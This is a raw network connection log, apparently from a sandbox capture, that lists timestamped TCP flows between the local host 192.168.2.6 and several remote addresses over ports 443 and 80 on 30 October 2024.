Oct 30, 2024 11:45:40.763240099 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.763423920 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.763434887 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.763540983 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.763551950 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.763943911 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:40.763958931 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:40.783878088 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.783920050 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.783958912 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.783962011 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784024000 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784316063 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784321070 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.784329891 CET	49937	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784333944 CET	443	49937	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.784487963 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.784548044 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.784598112 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784710884 CET	49938	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.784722090 CET	443	49938	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.786454916 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.786595106 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.787146091 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.787904024 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.787925959 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.788127899 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.788172960 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.788177967 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.788184881 CET	49936	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.788191080 CET	443	49936	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.789724112 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.789752007 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.789819956 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.789968014 CET	49948	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.789978981 CET	443	49948	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790203094 CET	49949	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.790215969 CET	443	49949	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790424109 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790491104 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790549040 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.790565968 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790595055 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790704966 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.790721893 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790733099 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.790733099 CET	49935	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.790740013 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.790745974 CET	443	49935	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.792411089 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792418003 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.792495012 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792687893 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792696953 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.792752028 CET	49950	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792758942 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792761087 CET	443	49950	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.792845011 CET	49951	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:40.792850971 CET	443	49951	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:40.909671068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909733057 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909738064 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.909759998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909778118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909794092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909810066 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909811974 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.909830093 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.909830093 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909863949 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909873009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.909887075 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.909920931 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910022020 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910037994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910054922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910084009 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910104990 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910164118 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910212040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910228968 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910269976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910356998 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910372019 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910387993 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910423994 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910437107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910461903 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910479069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910495996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910512924 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:40.910520077 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910545111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:40.910567045 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.066813946 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.066890955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.066904068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.066903114 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.066943884 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.066972017 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067035913 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067051888 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067066908 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067095041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067107916 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067114115 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067146063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067187071 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067239046 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067257881 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067274094 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067291975 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067306995 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067310095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067327023 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067354918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067539930 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067567110 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067584038 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067589998 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067624092 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067662954 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067678928 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067696095 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067719936 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067719936 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067738056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067738056 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067756891 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.067763090 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067776918 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.067795038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.068253040 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068327904 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068368912 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068392038 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.068408012 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.068420887 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068437099 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068460941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068475962 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068492889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.068500996 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.068527937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.152559042 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.152842045 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.152862072 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.153923988 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.153995991 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.155112982 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.155174971 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.155343056 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.155350924 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.182168007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182182074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182207108 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182229996 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182245016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182261944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182272911 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.182307959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.182307959 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.182395935 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182411909 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182426929 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182467937 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.182557106 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.182599068 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.203208923 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.223889112 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.223917007 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.223931074 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.223977089 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.223982096 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.223993063 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224020004 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224035025 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224047899 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224062920 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224081039 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224096060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224112034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224131107 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224157095 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224164963 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224184036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224200964 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224236965 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224720955 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224745989 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224759102 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224786043 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224801064 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224805117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224826097 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224843979 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224850893 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224863052 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224883080 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.224910975 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.224925041 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.225096941 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.225114107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.225128889 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.225147009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.225157976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.225162983 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.225181103 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.225203991 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.297754049 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297806978 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297822952 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297852993 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.297889948 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297894001 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.297908068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297955036 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297971010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297976971 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.297988892 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.297996044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.298019886 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.298033953 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.337232113 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.339271069 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339298010 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339319944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339348078 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339387894 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339405060 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339421034 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339443922 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339461088 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339464903 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339478016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339483976 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339509964 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339517117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339771986 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339826107 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339843035 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339859009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.339894056 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.339905977 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340086937 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340102911 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340120077 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340145111 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340147972 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340162039 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340166092 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340184927 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340198994 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340209961 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340215921 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340234041 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340250015 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340267897 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340276003 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340286016 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340300083 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340302944 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.340325117 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.340348005 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.341026068 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.341053009 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.341068029 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.341114044 CET	49888	80	192.168.2.6	185.215.113.206
Oct 30, 2024 11:45:41.363126040 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.363141060 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.363379002 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.363401890 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.363487005 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.363512993 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.364485025 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.364537954 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.364542007 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.364594936 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.365627050 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.365693092 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.365724087 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.365786076 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.365921974 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.365930080 CET	443	49947	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.366002083 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.366008043 CET	443	49944	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.368287086 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.368537903 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.368552923 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.368829012 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.369019032 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.369028091 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.369539976 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.369617939 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.369946957 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.369999886 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.370064974 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.370110989 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.370112896 CET	49942	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.370120049 CET	443	49942	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.370436907 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.370491028 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.370636940 CET	49946	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.370642900 CET	443	49946	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.374586105 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.374640942 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.374861002 CET	49940	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.374874115 CET	443	49940	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.386394978 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.386898994 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.386934042 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.386985064 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.387217999 CET	49952	443	192.168.2.6	20.75.60.91
Oct 30, 2024 11:45:41.387233019 CET	443	49952	20.75.60.91	192.168.2.6
Oct 30, 2024 11:45:41.387547016 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.387557983 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.388605118 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.388674974 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.389163971 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.389226913 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.389548063 CET	49945	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.389554977 CET	443	49945	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.395350933 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.399538040 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.399748087 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.399765968 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.399878025 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.399905920 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.400093079 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.400408030 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.400473118 CET	443	49943	23.47.194.99	192.168.2.6
Oct 30, 2024 11:45:41.400643110 CET	49943	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.400645971 CET	49941	443	192.168.2.6	13.107.253.45
Oct 30, 2024 11:45:41.400651932 CET	443	49941	13.107.253.45	192.168.2.6
Oct 30, 2024 11:45:41.406321049 CET	49944	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.406336069 CET	49947	443	192.168.2.6	23.47.194.99
Oct 30, 2024 11:45:41.413111925 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413157940 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413182974 CET	80	49888	185.215.113.206	192.168.2.6
Oct 30, 2024 11:45:41.413180113 CET	49888	80	192.168.2.6	185.215.113.206
